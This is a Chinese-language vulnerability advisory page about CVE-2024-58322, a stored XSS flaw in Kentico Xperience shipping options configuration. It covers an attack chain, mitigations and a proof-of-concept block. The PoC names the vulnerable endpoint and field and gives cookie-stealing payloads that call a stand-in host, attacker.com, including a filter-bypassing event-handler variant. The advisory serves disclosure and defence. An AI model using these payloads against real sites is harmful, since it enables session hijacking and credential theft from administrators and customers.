IPBUF安全漏洞报告
English
CVE-2024-58322 CVSS 5.4 中危

CVE-2024-58322: Kentico Xperience 配送选项配置存储型XSS漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2024-58322
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Kentico Xperience

相关标签

存储型XSSKentico XperienceCVE-2024-58322跨站脚本配送选项电子商务安全Web应用安全

漏洞概述

CVE-2024-58322是Kentico Xperience中的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分5.4,中危级别。该漏洞存在于Kentico Xperience的配送选项配置功能中,攻击者可以通过在配送选项配置中注入恶意JavaScript代码。由于该代码被永久存储在系统中,当其他用户(如管理员或客户)访问相关页面时,恶意脚本会在其浏览器中执行。这可能导致敏感用户数据(如会话Cookie、登录凭据)的窃取、会话劫持以及在用户上下文中执行未经授权的操作。漏洞利用需要攻击者拥有低权限账号,并且需要诱导其他用户访问包含恶意脚本的页面。攻击向量为网络可访问,攻击复杂度低,但需要用户交互才能触发。

技术细节

该存储型XSS漏洞源于Kentico Xperience的配送选项配置模块对用户输入缺乏充分的输入验证和输出编码。攻击者以低权限用户身份登录系统后,可以在配送选项的名称、描述或其他可配置字段中插入恶意JavaScript代码(如<script>标签或事件处理器)。由于应用程序未对这些输入进行安全过滤,恶意代码被直接存储在后端数据库中。当其他用户访问配送选项列表或相关管理界面时,后端系统将存储的恶意内容未经适当转义地输出到HTML页面中,浏览器将其解析为可执行脚本。攻击者可利用此漏洞窃取受害者的认证令牌、劫持用户会话、修改页面内容或重定向用户到钓鱼站点。由于攻击代码持久化在服务器端,每次有用户访问受影响页面时都会触发攻击。

攻击链分析

STEP 1
步骤1
攻击者获取或注册一个拥有Kentico Xperience低权限访问权限的账户
STEP 2
步骤2
攻击者导航至配送选项配置页面(Shipping Options Configuration)
STEP 3
步骤3
攻击者在配送选项的名称、描述或其他可配置字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
应用程序将攻击者输入的恶意代码未经过滤直接存储到数据库中
STEP 5
步骤5
当管理员或其他用户访问配送选项列表页面时,后端从数据库读取恶意内容并嵌入到HTML响应中
STEP 6
步骤6
受害者浏览器接收到包含恶意脚本的HTML页面,执行其中的JavaScript代码,导致Cookie、会话令牌等敏感信息被发送到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2024-58322 Stored XSS PoC - Kentico Xperience Shipping Options // This PoC demonstrates injecting malicious JavaScript via shipping option configuration // Step 1: Identify the vulnerable endpoint for shipping options configuration const vulnerableEndpoint = '/CMSModules/Ecommerce/Pages/Tools/ShippingOptions/ShippingOption_Edit.aspx'; // Step 2: Prepare the XSS payload const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 3: Alternative payload using event handler (bypasses some filters) const altPayload = '" onerror="fetch('https://attacker.com/steal?c='+btoa(document.cookie))" x="'; // Step 4: Example request to inject the payload const exploitRequest = { method: 'POST', url: vulnerableEndpoint, data: { // Shipping option name field - inject XSS here 'txtShippingName': xssPayload, 'txtShippingDescription': 'Malicious shipping option', // Other required fields... } }; // Step 5: The injected script will execute when users view the shipping options page // PoC demonstrates the vulnerability exists; actual exploitation requires: // - Valid low-privilege account credentials // - Access to shipping options configuration module // - Ability to induce victim to visit affected page

影响范围

Kentico Xperience < 最新热修复版本

防御指南

临时缓解措施
在应用官方安全补丁之前,可以采取以下临时缓解措施:1) 限制配送选项配置功能的访问权限,仅允许受信任的管理员用户访问;2) 在Web应用防火墙(WAF)层面添加针对XSS特征的规则检测和阻断;3) 对配送选项相关页面实施严格的输入验证;4) 监控和审计配送选项配置的变更记录;5) 考虑临时禁用非必要的配送选项配置功能,直至补丁应用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表